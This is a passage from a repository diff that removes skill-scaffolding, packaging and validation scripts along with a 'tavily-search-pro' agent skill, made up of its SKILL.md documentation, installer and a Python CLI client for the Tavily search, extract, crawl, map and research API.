- product-management/references/communication.md - Comprehensive guide for status updates
- product-management/references/context_building.md - Deep-dive on gathering context
- bigquery/references/ - API references and query examples
## When Reference Docs Are Useful
Reference docs are ideal for:
- Comprehensive API documentation
- Detailed workflow guides
- Complex multi-step processes
- Information too lengthy for main SKILL.md
- Content that's only needed for specific use cases
## Structure Suggestions
### API Reference Example
- Overview
- Authentication
- Endpoints with examples
- Error codes
- Rate limits
### Workflow Guide Example
- Prerequisites
- Step-by-step instructions
- Common patterns
- Troubleshooting
- Best practices
"""
EXAMPLE_ASSET = """# Example Asset File
This placeholder represents where asset files would be stored.
Replace with actual asset files (templates, images, fonts, etc.) or delete if not needed.
Asset files are NOT intended to be loaded into context, but rather used within
the output Claude produces.
Example asset files from other skills:
- Brand guidelines: logo.png, slides_template.pptx
- Frontend builder: hello-world/ directory with HTML/React boilerplate
- Typography: custom-font.ttf, font-family.woff2
- Data: sample_data.csv, test_dataset.json
## Common Asset Types
- Templates: .pptx, .docx, boilerplate directories
- Images: .png, .jpg, .svg, .gif
- Fonts: .ttf, .otf, .woff, .woff2
- Boilerplate code: Project directories, starter files
- Icons: .ico, .svg
- Data files: .csv, .json, .xml, .yaml
Note: This is a text placeholder. Actual assets can be any file type.
"""
def title_case_skill_name(skill_name):
"""Convert hyphenated skill name to Title Case for display."""
return ' '.join(word.capitalize() for word in skill_name.split('-'))
def init_skill(skill_name, path):
"""
Initialize a new skill directory with template SKILL.md.
Args:
skill_name: Name of the skill
path: Path where the skill directory should be created
Returns:
Path to created skill directory, or None if error
"""
# Determine skill directory path
skill_dir = Path(path).resolve() / skill_name
# Check if directory already exists
if skill_dir.exists():
print(f"❌ Error: Skill directory already exists: {skill_dir}")
return None
# Create skill directory
try:
skill_dir.mkdir(parents=True, exist_ok=False)
print(f"✅ Created skill directory: {skill_dir}")
except Exception as e:
print(f"❌ Error creating directory: {e}")
return None
# Create SKILL.md from template
skill_title = title_case_skill_name(skill_name)
skill_content = SKILL_TEMPLATE.format(
skill_name=skill_name,
skill_title=skill_title
)
skill_md_path = skill_dir / 'SKILL.md'
try:
skill_md_path.write_text(skill_content)
print("✅ Created SKILL.md")
except Exception as e:
print(f"❌ Error creating SKILL.md: {e}")
return None
# Create resource directories with example files
try:
# Create scripts/ directory with example script
scripts_dir = skill_dir / 'scripts'
scripts_dir.mkdir(exist_ok=True)
example_script = scripts_dir / 'example.py'
example_script.write_text(EXAMPLE_SCRIPT.format(skill_name=skill_name))
example_script.chmod(0o755)
print("✅ Created scripts/example.py")
# Create references/ directory with example reference doc
references_dir = skill_dir / 'references'
references_dir.mkdir(exist_ok=True)
example_reference = references_dir / 'api_reference.md'
example_reference.write_text(EXAMPLE_REFERENCE.format(skill_title=skill_title))
print("✅ Created references/api_reference.md")
# Create assets/ directory with example asset placeholder
assets_dir = skill_dir / 'assets'
assets_dir.mkdir(exist_ok=True)
example_asset = assets_dir / 'example_asset.txt'
example_asset.write_text(EXAMPLE_ASSET)
print("✅ Created assets/example_asset.txt")
except Exception as e:
print(f"❌ Error creating resource directories: {e}")
return None
# Print next steps
print(f"\n✅ Skill '{skill_name}' initialized successfully at {skill_dir}")
print("\nNext steps:")
print("1. Edit SKILL.md to complete the TODO items and update the description")
print("2. Customize or delete the example files in scripts/, references/, and assets/")
print("3. Run the validator when ready to check the skill structure")
return skill_dir
def main():
if len(sys.argv) < 4 or sys.argv[2] != '--path':
print("Usage: init_skill.py <skill-name> --path <path>")
print("\nSkill name requirements:")
print(" - Hyphen-case identifier (e.g., 'data-analyzer')")
print(" - Lowercase letters, digits, and hyphens only")
print(" - Max 40 characters")
print(" - Must match directory name exactly")
print("\nExamples:")
print(" init_skill.py my-new-skill --path skills/public")
print(" init_skill.py my-api-helper --path skills/private")
print(" init_skill.py custom-skill --path /custom/location")
sys.exit(1)
skill_name = sys.argv[1]
path = sys.argv[3]
print(f"🚀 Initializing skill: {skill_name}")
print(f" Location: {path}")
print()
result = init_skill(skill_name, path)
if result:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,110 +0,0 @@
#!/usr/bin/env python3
"""
Skill Packager - Creates a distributable .skill file of a skill folder
Usage:
python utils/package_skill.py <path/to/skill-folder> [output-directory]
Example:
python utils/package_skill.py skills/public/my-skill
python utils/package_skill.py skills/public/my-skill ./dist
"""
import sys
import zipfile
from pathlib import Path
from quick_validate import validate_skill
def package_skill(skill_path, output_dir=None):
"""
Package a skill folder into a .skill file.
Args:
skill_path: Path to the skill folder
output_dir: Optional output directory for the .skill file (defaults to current directory)
Returns:
Path to the created .skill file, or None if error
"""
skill_path = Path(skill_path).resolve()
# Validate skill folder exists
if not skill_path.exists():
print(f"❌ Error: Skill folder not found: {skill_path}")
return None
if not skill_path.is_dir():
print(f"❌ Error: Path is not a directory: {skill_path}")
return None
# Validate SKILL.md exists
skill_md = skill_path / "SKILL.md"
if not skill_md.exists():
print(f"❌ Error: SKILL.md not found in {skill_path}")
return None
# Run validation before packaging
print("🔍 Validating skill...")
valid, message = validate_skill(skill_path)
if not valid:
print(f"❌ Validation failed: {message}")
print(" Please fix the validation errors before packaging.")
return None
print(f"✅ {message}\n")
# Determine output location
skill_name = skill_path.name
if output_dir:
output_path = Path(output_dir).resolve()
output_path.mkdir(parents=True, exist_ok=True)
else:
output_path = Path.cwd()
skill_filename = output_path / f"{skill_name}.skill"
# Create the .skill file (zip format)
try:
with zipfile.ZipFile(skill_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
# Walk through the skill directory
for file_path in skill_path.rglob('*'):
if file_path.is_file():
# Calculate the relative path within the zip
arcname = file_path.relative_to(skill_path.parent)
zipf.write(file_path, arcname)
print(f" Added: {arcname}")
print(f"\n✅ Successfully packaged skill to: {skill_filename}")
return skill_filename
except Exception as e:
print(f"❌ Error creating .skill file: {e}")
return None
def main():
if len(sys.argv) < 2:
print("Usage: python utils/package_skill.py <path/to/skill-folder> [output-directory]")
print("\nExample:")
print(" python utils/package_skill.py skills/public/my-skill")
print(" python utils/package_skill.py skills/public/my-skill ./dist")
sys.exit(1)
skill_path = sys.argv[1]
output_dir = sys.argv[2] if len(sys.argv) > 2 else None
print(f"📦 Packaging skill: {skill_path}")
if output_dir:
print(f" Output directory: {output_dir}")
print()
result = package_skill(skill_path, output_dir)
if result:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,95 +0,0 @@
#!/usr/bin/env python3
"""
Quick validation script for skills - minimal version
"""
import sys
import os
import re
import yaml
from pathlib import Path
def validate_skill(skill_path):
"""Basic validation of a skill"""
skill_path = Path(skill_path)
# Check SKILL.md exists
skill_md = skill_path / 'SKILL.md'
if not skill_md.exists():
return False, "SKILL.md not found"
# Read and validate frontmatter
content = skill_md.read_text()
if not content.startswith('---'):
return False, "No YAML frontmatter found"
# Extract frontmatter
match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL)
if not match:
return False, "Invalid frontmatter format"
frontmatter_text = match.group(1)
# Parse YAML frontmatter
try:
frontmatter = yaml.safe_load(frontmatter_text)
if not isinstance(frontmatter, dict):
return False, "Frontmatter must be a YAML dictionary"
except yaml.YAMLError as e:
return False, f"Invalid YAML in frontmatter: {e}"
# Define allowed properties
ALLOWED_PROPERTIES = {'name', 'description', 'license', 'allowed-tools', 'metadata'}
# Check for unexpected properties (excluding nested keys under metadata)
unexpected_keys = set(frontmatter.keys()) - ALLOWED_PROPERTIES
if unexpected_keys:
return False, (
f"Unexpected key(s) in SKILL.md frontmatter: {', '.join(sorted(unexpected_keys))}. "
f"Allowed properties are: {', '.join(sorted(ALLOWED_PROPERTIES))}"
)
# Check required fields
if 'name' not in frontmatter:
return False, "Missing 'name' in frontmatter"
if 'description' not in frontmatter:
return False, "Missing 'description' in frontmatter"
# Extract name for validation
name = frontmatter.get('name', '')
if not isinstance(name, str):
return False, f"Name must be a string, got {type(name).__name__}"
name = name.strip()
if name:
# Check naming convention (hyphen-case: lowercase with hyphens)
if not re.match(r'^[a-z0-9-]+$', name):
return False, f"Name '{name}' should be hyphen-case (lowercase letters, digits, and hyphens only)"
if name.startswith('-') or name.endswith('-') or '--' in name:
return False, f"Name '{name}' cannot start/end with hyphen or contain consecutive hyphens"
# Check name length (max 64 characters per spec)
if len(name) > 64:
return False, f"Name is too long ({len(name)} characters). Maximum is 64 characters."
# Extract and validate description
description = frontmatter.get('description', '')
if not isinstance(description, str):
return False, f"Description must be a string, got {type(description).__name__}"
description = description.strip()
if description:
# Check for angle brackets
if '<' in description or '>' in description:
return False, "Description cannot contain angle brackets (< or >)"
# Check description length (max 1024 characters per spec)
if len(description) > 1024:
return False, f"Description is too long ({len(description)} characters). Maximum is 1024 characters."
return True, "Skill is valid!"
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python quick_validate.py <skill_directory>")
sys.exit(1)
valid, message = validate_skill(sys.argv[1])
print(message)
sys.exit(0 if valid else 1)

View file

@ -1,351 +0,0 @@
---
name: tavily-search-pro
slug: tavily-search-pro
description: >
Tavily AI search platform with 5 modes: Search (web/news/finance), Extract (URL content),
Crawl (website crawling), Map (sitemap discovery), and Research (deep research with citations).
Use for: web search with LLM answers, content extraction, site crawling, deep research.
version: 1.0.0
author: Leo 🦁
tags: [search, tavily, web, news, finance, extract, crawl, research, api]
metadata: {"clawdbot":{"emoji":"🔎","requires":{"env":["TAVILY_API_KEY"]},"primaryEnv":"TAVILY_API_KEY","install":[{"id":"pip","kind":"pip","package":"tavily-python","label":"Install dependencies (pip)"}]}}
allowed-tools: [exec]
---
# Tavily Search 🔎
AI-powered web search platform with 5 modes: Search, Extract, Crawl, Map, and Research.
## Requirements
- `TAVILY_API_KEY` environment variable
## Configuration
| Env Variable | Default | Description |
|---|---|---|
| `TAVILY_API_KEY` | — | **Required.** Tavily API key |
Set in OpenClaw config:
```json
{
"env": {
"TAVILY_API_KEY": "tvly-..."
}
}
```
## Script Location
```bash
python3 skills/tavily/lib/tavily_search.py <command> "query" [options]
```
---
## Commands
### search — Web Search (Default)
General-purpose web search with optional LLM-synthesized answer.
```bash
python3 lib/tavily_search.py search "query" [options]
```
**Examples:**
```bash
# Basic search
python3 lib/tavily_search.py search "latest AI news"
# With LLM answer
python3 lib/tavily_search.py search "what is quantum computing" --answer
# Advanced depth (better results, 2 credits)
python3 lib/tavily_search.py search "climate change solutions" --depth advanced
# Time-filtered
python3 lib/tavily_search.py search "OpenAI announcements" --time week
# Domain filtering
python3 lib/tavily_search.py search "machine learning" --include-domains arxiv.org,nature.com
# Country boost
python3 lib/tavily_search.py search "tech startups" --country US
# With raw content and images
python3 lib/tavily_search.py search "solar energy" --raw --images -n 10
# JSON output
python3 lib/tavily_search.py search "bitcoin price" --json
```
**Output format (text):**
```
Answer: <LLM-synthesized answer if --answer>
Results:
1. Result Title
https://example.com/article
Content snippet from the page...
2. Another Result
https://example.com/other
Another snippet...
```
---
### news — News Search
Search optimized for news articles. Sets `topic=news`.
```bash
python3 lib/tavily_search.py news "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py news "AI regulation"
python3 lib/tavily_search.py news "Israel tech" --time day --answer
python3 lib/tavily_search.py news "stock market" --time week -n 10
```
---
### finance — Finance Search
Search optimized for financial data and news. Sets `topic=finance`.
```bash
python3 lib/tavily_search.py finance "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py finance "NVIDIA stock analysis"
python3 lib/tavily_search.py finance "cryptocurrency market trends" --time month
python3 lib/tavily_search.py finance "S&P 500 forecast 2026" --answer
```
---
### extract — Extract Content from URLs
Extract readable content from one or more URLs.
```bash
python3 lib/tavily_search.py extract URL [URL...] [options]
```
**Parameters:**
- `urls`: One or more URLs to extract (positional args)
- `--depth basic|advanced`: Extraction depth
- `--format markdown|text`: Output format (default: markdown)
- `--query "text"`: Rerank extracted chunks by relevance to query
**Examples:**
```bash
# Extract single URL
python3 lib/tavily_search.py extract "https://example.com/article"
# Extract multiple URLs
python3 lib/tavily_search.py extract "https://url1.com" "https://url2.com"
# Advanced extraction with relevance reranking
python3 lib/tavily_search.py extract "https://arxiv.org/paper" --depth advanced --query "transformer architecture"
# Text format output
python3 lib/tavily_search.py extract "https://example.com" --format text
```
**Output format:**
```
URL: https://example.com/article
─────────────────────────────────
<Extracted content in markdown/text>
URL: https://another.com/page
─────────────────────────────────
<Extracted content>
```
---
### crawl — Crawl a Website
Crawl a website starting from a root URL, following links.
```bash
python3 lib/tavily_search.py crawl URL [options]
```
**Parameters:**
- `url`: Root URL to start crawling
- `--depth basic|advanced`: Crawl depth
- `--max-depth N`: Maximum link depth to follow (default: 2)
- `--max-breadth N`: Maximum pages per depth level (default: 10)
- `--limit N`: Maximum total pages (default: 10)
- `--instructions "text"`: Natural language crawl instructions
- `--select-paths p1,p2`: Only crawl these path patterns
- `--exclude-paths p1,p2`: Skip these path patterns
- `--format markdown|text`: Output format
**Examples:**
```bash
# Basic crawl
python3 lib/tavily_search.py crawl "https://docs.example.com"
# Focused crawl with instructions
python3 lib/tavily_search.py crawl "https://docs.python.org" --instructions "Find all asyncio documentation" --limit 20
# Crawl specific paths only
python3 lib/tavily_search.py crawl "https://example.com" --select-paths "/blog,/docs" --max-depth 3
```
**Output format:**
```
Crawled 5 pages from https://docs.example.com
Page 1: https://docs.example.com/intro
─────────────────────────────────
<Content>
Page 2: https://docs.example.com/guide
─────────────────────────────────
<Content>
```
---
### map — Sitemap Discovery
Discover all URLs on a website (sitemap).
```bash
python3 lib/tavily_search.py map URL [options]
```
**Parameters:**
- `url`: Root URL to map
- `--max-depth N`: Depth to follow (default: 2)
- `--max-breadth N`: Breadth per level (default: 20)
- `--limit N`: Maximum URLs (default: 50)
**Examples:**
```bash
# Map a site
python3 lib/tavily_search.py map "https://example.com"
# Deep map
python3 lib/tavily_search.py map "https://docs.python.org" --max-depth 3 --limit 100
```
**Output format:**
```
Sitemap for https://example.com (42 URLs found):
1. https://example.com/
2. https://example.com/about
3. https://example.com/blog
...
```
---
### research — Deep Research
Comprehensive AI-powered research on a topic with citations.
```bash
python3 lib/tavily_search.py research "query" [options]
```
**Parameters:**
- `query`: Research question
- `--model mini|pro|auto`: Research model (default: auto)
- `mini`: Faster, cheaper
- `pro`: More thorough
- `auto`: Let Tavily decide
- `--json`: JSON output (supports structured output schema)
**Examples:**
```bash
# Basic research
python3 lib/tavily_search.py research "Impact of AI on healthcare in 2026"
# Pro model for thorough research
python3 lib/tavily_search.py research "Comparison of quantum computing approaches" --model pro
# JSON output
python3 lib/tavily_search.py research "Electric vehicle market analysis" --json
```
**Output format:**
```
Research: Impact of AI on healthcare in 2026
<Comprehensive research report with citations>
Sources:
[1] https://source1.com
[2] https://source2.com
...
```
---
## Options Reference
| Option | Applies To | Description | Default |
|---|---|---|---|
| `--depth basic\|advanced` | search, news, finance, extract | Search/extraction depth | basic |
| `--time day\|week\|month\|year` | search, news, finance | Time range filter | none |
| `-n NUM` | search, news, finance | Max results (0-20) | 5 |
| `--answer` | search, news, finance | Include LLM answer | off |
| `--raw` | search, news, finance | Include raw page content | off |
| `--images` | search, news, finance | Include image URLs | off |
| `--include-domains d1,d2` | search, news, finance | Only these domains | none |
| `--exclude-domains d1,d2` | search, news, finance | Exclude these domains | none |
| `--country XX` | search, news, finance | Boost country results | none |
| `--json` | all | Structured JSON output | off |
| `--format markdown\|text` | extract, crawl | Content format | markdown |
| `--query "text"` | extract | Relevance reranking query | none |
| `--model mini\|pro\|auto` | research | Research model | auto |
| `--max-depth N` | crawl, map | Max link depth | 2 |
| `--max-breadth N` | crawl, map | Max pages per level | 10/20 |
| `--limit N` | crawl, map | Max total pages/URLs | 10/50 |
| `--instructions "text"` | crawl | Natural language instructions | none |
| `--select-paths p1,p2` | crawl | Include path patterns | none |
| `--exclude-paths p1,p2` | crawl | Exclude path patterns | none |
---
## Error Handling
- **Missing API key:** Clear error message with setup instructions.
- **401 Unauthorized:** Invalid API key.
- **429 Rate Limit:** Rate limit exceeded, try again later.
- **Network errors:** Descriptive error with cause.
- **No results:** Clean "No results found." message.
- **Timeout:** 30-second timeout on all HTTP requests.
---
## Credits & Pricing
| API | Basic | Advanced |
|---|---|---|
| Search | 1 credit | 2 credits |
| Extract | 1 credit/URL | 2 credits/URL |
| Crawl | 1 credit/page | 2 credits/page |
| Map | 1 credit | 1 credit |
| Research | Varies by model | - |
---
## Install
```bash
bash skills/tavily/install.sh
```

View file

@ -1,11 +0,0 @@
{
"owner": "shaharsha",
"slug": "tavily-search-pro",
"displayName": "Tavily Search Pro",
"latest": {
"version": "1.0.0",
"publishedAt": 1770481308912,
"commit": "https://github.com/openclaw/skills/commit/7c907638c02746d4cdc5504cbe2816f52f6107ae"
},
"history": []
}

View file

@ -1,30 +0,0 @@
#!/usr/bin/env bash
# Tavily Search skill installer
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
echo "📦 Installing Tavily Search skill..."
# Install Python dependencies
pip install --break-system-packages --quiet tavily-python 2>/dev/null || {
echo "⚠️ pip install failed, trying without --break-system-packages..."
pip install --quiet tavily-python 2>/dev/null || {
echo "❌ Failed to install tavily-python. Install manually: pip install tavily-python"
exit 1
}
}
# Verify API key
if [ -z "${TAVILY_API_KEY:-}" ]; then
echo "⚠️ TAVILY_API_KEY not set. Set it in OpenClaw config before using."
else
echo "✅ TAVILY_API_KEY found"
fi
# Quick smoke test
if python3 "$SCRIPT_DIR/lib/tavily_search.py" --help >/dev/null 2>&1; then
echo "✅ Tavily Search skill ready."
else
echo "⚠️ Smoke test failed - check Python dependencies."
exit 1
fi

View file

@ -1,549 +0,0 @@
#!/usr/bin/env python3
"""
Tavily Search v1.0 - AI-powered web search platform with 5 modes.
Author: Leo 🦁
Created: 2026-02-07
Commands:
- search: General web search with optional LLM answer
- news: News-optimized search (topic=news)
- finance: Finance-optimized search (topic=finance)
- extract: Extract content from URLs
- crawl: Crawl a website
- map: Discover sitemap URLs
- research: Deep AI research with citations
Environment Variables:
- TAVILY_API_KEY: Required. Tavily API key.
"""
import argparse
import json
import os
import sys
import urllib.request
import urllib.error
from typing import Any, Optional
# ─── Configuration ───────────────────────────────────────────────────────────
API_KEY: str = os.environ.get("TAVILY_API_KEY", "")
BASE_URL: str = "https://api.tavily.com"
REQUEST_TIMEOUT: int = 30
RESEARCH_TIMEOUT: int = 120 # Research can take longer
# ─── HTTP Helper ─────────────────────────────────────────────────────────────
def _api_request(
endpoint: str,
payload: dict[str, Any],
timeout: int = REQUEST_TIMEOUT,
) -> dict[str, Any]:
"""
Make a POST request to the Tavily API.
Args:
endpoint: API endpoint path (e.g., '/search').
payload: JSON request body.
timeout: Request timeout in seconds.
Returns:
Parsed JSON response.
Raises:
SystemExit: On API errors with descriptive messages.
"""
url = f"{BASE_URL}{endpoint}"
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url,
data=data,
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {API_KEY}",
},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read())
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")[:500]
if e.code == 401:
print("Error: Invalid TAVILY_API_KEY. Check your key at https://app.tavily.com", file=sys.stderr)
elif e.code == 429:
print("Error: Rate limit exceeded. Try again later.", file=sys.stderr)
elif e.code == 400:
# Try to extract error message from JSON response
try:
err_data = json.loads(body)
msg = err_data.get("detail", err_data.get("message", body))
print(f"Error: Bad request - {msg}", file=sys.stderr)
except (json.JSONDecodeError, KeyError):
print(f"Error: Bad request - {body}", file=sys.stderr)
else:
print(f"Error: Tavily API returned {e.code}: {body}", file=sys.stderr)
sys.exit(1)
except urllib.error.URLError as e:
print(f"Error: Network error - {e.reason}", file=sys.stderr)
sys.exit(1)
except TimeoutError:
print(f"Error: Request timed out after {timeout}s", file=sys.stderr)
sys.exit(1)
# ─── Output Formatting ──────────────────────────────────────────────────────
def _format_search_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format search/news/finance results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# LLM answer
answer = data.get("answer")
if answer:
lines.append(f"Answer: {answer}")
lines.append("")
# Images
images = data.get("images")
if images:
lines.append("Images:")
for img in images:
if isinstance(img, dict):
lines.append(f" - {img.get('url', img)}")
else:
lines.append(f" - {img}")
lines.append("")
# Results
results = data.get("results", [])
if results:
lines.append("Results:")
for i, r in enumerate(results, 1):
title = r.get("title", "Untitled")
url = r.get("url", "")
content = r.get("content", "")
score = r.get("score")
published = r.get("published_date", "")
lines.append(f" {i}. {title}")
lines.append(f" {url}")
if published:
lines.append(f" Published: {published}")
if score is not None:
lines.append(f" Score: {score:.4f}")
if content:
# Truncate long content to keep output readable
snippet = content[:500].strip()
if len(content) > 500:
snippet += "..."
lines.append(f" {snippet}")
# Raw content (if requested)
raw = r.get("raw_content")
if raw:
lines.append(f" --- Raw Content ---")
raw_snippet = raw[:1000].strip()
if len(raw) > 1000:
raw_snippet += f"... [{len(raw)} chars total]"
lines.append(f" {raw_snippet}")
lines.append("")
elif not answer:
lines.append("No results found.")
return "\n".join(lines).rstrip()
def _format_extract_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format extract results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
if not results:
return "No content extracted."
for r in results:
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"URL: {url}")
lines.append("─" * 50)
if content:
lines.append(content.strip())
else:
lines.append("(No content extracted)")
lines.append("")
# Failed URLs
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_crawl_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format crawl results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
base_url = data.get("base_url", "")
lines.append(f"Crawled {len(results)} pages from {base_url}")
lines.append("")
for i, r in enumerate(results, 1):
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"Page {i}: {url}")
lines.append("─" * 50)
if content:
# Truncate very long pages
snippet = content[:2000].strip()
if len(content) > 2000:
snippet += f"\n... [{len(content)} chars total]"
lines.append(snippet)
else:
lines.append("(No content)")
lines.append("")
# Failed
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_map_results(data: dict[str, Any], url: str, as_json: bool = False) -> str:
"""Format map/sitemap results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
urls = data.get("results", [])
lines: list[str] = []
lines.append(f"Sitemap for {url} ({len(urls)} URLs found):")
lines.append("")
for i, u in enumerate(urls, 1):
if isinstance(u, dict):
lines.append(f" {i}. {u.get('url', u)}")
else:
lines.append(f" {i}. {u}")
if not urls:
lines.append(" No URLs discovered.")
return "\n".join(lines).rstrip()
def _format_research_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format research results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# Topic
topic = data.get("topic") or data.get("query", "")
if topic:
lines.append(f"Research: {topic}")
lines.append("")
# Main content
content = data.get("content") or data.get("output") or data.get("report", "")
if content:
lines.append(content.strip())
else:
lines.append("No research output returned.")
# Sources
sources = data.get("sources", [])
if sources:
lines.append("")
lines.append("Sources:")
for i, src in enumerate(sources, 1):
if isinstance(src, dict):
url = src.get("url", src.get("link", str(src)))
title = src.get("title", "")
if title:
lines.append(f" [{i}] {title}")
lines.append(f" {url}")
else:
lines.append(f" [{i}] {url}")
else:
lines.append(f" [{i}] {src}")
return "\n".join(lines).rstrip()
# ─── Commands ────────────────────────────────────────────────────────────────
def cmd_search(args: argparse.Namespace) -> str:
"""Execute search/news/finance command."""
topic_map = {
"search": "general",
"news": "news",
"finance": "finance",
}
payload: dict[str, Any] = {
"query": args.query,
"topic": topic_map.get(args.command, "general"),
"search_depth": args.depth,
"max_results": args.n,
}
if args.answer:
payload["include_answer"] = True
if args.raw:
payload["include_raw_content"] = "markdown"
if args.images:
payload["include_images"] = True
if args.time:
payload["time_range"] = args.time
if args.include_domains:
payload["include_domains"] = [d.strip() for d in args.include_domains.split(",")]
if args.exclude_domains:
payload["exclude_domains"] = [d.strip() for d in args.exclude_domains.split(",")]
if args.country:
payload["country"] = args.country
data = _api_request("/search", payload)
return _format_search_results(data, as_json=args.as_json)
def cmd_extract(args: argparse.Namespace) -> str:
"""Execute extract command."""
urls = args.urls
if not urls:
print("Error: At least one URL is required for extract.", file=sys.stderr)
sys.exit(1)
payload: dict[str, Any] = {
"urls": urls if len(urls) > 1 else urls[0],
}
if args.depth and args.depth != "basic":
payload["extract_depth"] = args.depth
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
if hasattr(args, "query") and args.query:
payload["query"] = args.query
data = _api_request("/extract", payload)
return _format_extract_results(data, as_json=args.as_json)
def cmd_crawl(args: argparse.Namespace) -> str:
"""Execute crawl command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
if hasattr(args, "instructions") and args.instructions:
payload["instructions"] = args.instructions
if hasattr(args, "select_paths") and args.select_paths:
payload["select_paths"] = [p.strip() for p in args.select_paths.split(",")]
if hasattr(args, "exclude_paths") and args.exclude_paths:
payload["exclude_paths"] = [p.strip() for p in args.exclude_paths.split(",")]
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
data = _api_request("/crawl", payload, timeout=60)
return _format_crawl_results(data, as_json=args.as_json)
def cmd_map(args: argparse.Namespace) -> str:
"""Execute map/sitemap command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
data = _api_request("/map", payload)
return _format_map_results(data, args.url, as_json=args.as_json)
def cmd_research(args: argparse.Namespace) -> str:
"""Execute research command."""
payload: dict[str, Any] = {
"input": args.query,
}
if args.model:
payload["model"] = args.model
data = _api_request("/research", payload, timeout=RESEARCH_TIMEOUT)
return _format_research_results(data, as_json=args.as_json)
# ─── CLI ─────────────────────────────────────────────────────────────────────
def build_parser() -> argparse.ArgumentParser:
"""Build the argument parser with all subcommands."""
parser = argparse.ArgumentParser(
description="Tavily Search v1.0 - AI-powered web search platform",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s search "latest AI news" --answer
%(prog)s news "tech industry" --time week
%(prog)s finance "NVIDIA stock" --depth advanced
%(prog)s extract "https://example.com/article"
%(prog)s crawl "https://docs.example.com" --limit 20
%(prog)s map "https://example.com"
%(prog)s research "Impact of AI on healthcare"
""",
)
subparsers = parser.add_subparsers(dest="command", help="Command to execute")
# ── Common search options ──
def add_search_options(sub: argparse.ArgumentParser) -> None:
sub.add_argument("query", help="Search query")
sub.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Search depth (default: basic; advanced = 2 credits)")
sub.add_argument("--time", choices=["day", "week", "month", "year", "d", "w", "m", "y"],
default=None, help="Time range filter")
sub.add_argument("-n", type=int, default=5, help="Max results 0-20 (default: 5)")
sub.add_argument("--answer", action="store_true", help="Include LLM-synthesized answer")
sub.add_argument("--raw", action="store_true", help="Include raw page content")
sub.add_argument("--images", action="store_true", help="Include image URLs")
sub.add_argument("--include-domains", default=None,
help="Comma-separated domains to include")
sub.add_argument("--exclude-domains", default=None,
help="Comma-separated domains to exclude")
sub.add_argument("--country", default=None, help="Country code to boost (e.g., US, IL)")
sub.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# search
p_search = subparsers.add_parser("search", help="Web search (general)")
add_search_options(p_search)
# news
p_news = subparsers.add_parser("news", help="News search")
add_search_options(p_news)
# finance
p_finance = subparsers.add_parser("finance", help="Finance search")
add_search_options(p_finance)
# extract
p_extract = subparsers.add_parser("extract", help="Extract content from URLs")
p_extract.add_argument("urls", nargs="+", help="URLs to extract content from")
p_extract.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Extraction depth")
p_extract.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format (default: markdown)")
p_extract.add_argument("--query", default=None,
help="Query for relevance reranking of chunks")
p_extract.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# crawl
p_crawl = subparsers.add_parser("crawl", help="Crawl a website")
p_crawl.add_argument("url", help="Root URL to crawl")
p_crawl.add_argument("--depth", choices=["basic", "advanced"], default=None,
help="Crawl depth")
p_crawl.add_argument("--max-depth", type=int, default=None, help="Max link depth (default: 2)")
p_crawl.add_argument("--max-breadth", type=int, default=None,
help="Max pages per level (default: 10)")
p_crawl.add_argument("--limit", type=int, default=None, help="Max total pages (default: 10)")
p_crawl.add_argument("--instructions", default=None,
help="Natural language crawl instructions")
p_crawl.add_argument("--select-paths", default=None,
help="Comma-separated path patterns to include")
p_crawl.add_argument("--exclude-paths", default=None,
help="Comma-separated path patterns to exclude")
p_crawl.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format")
p_crawl.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# map
p_map = subparsers.add_parser("map", help="Discover sitemap URLs")
p_map.add_argument("url", help="Root URL to map")
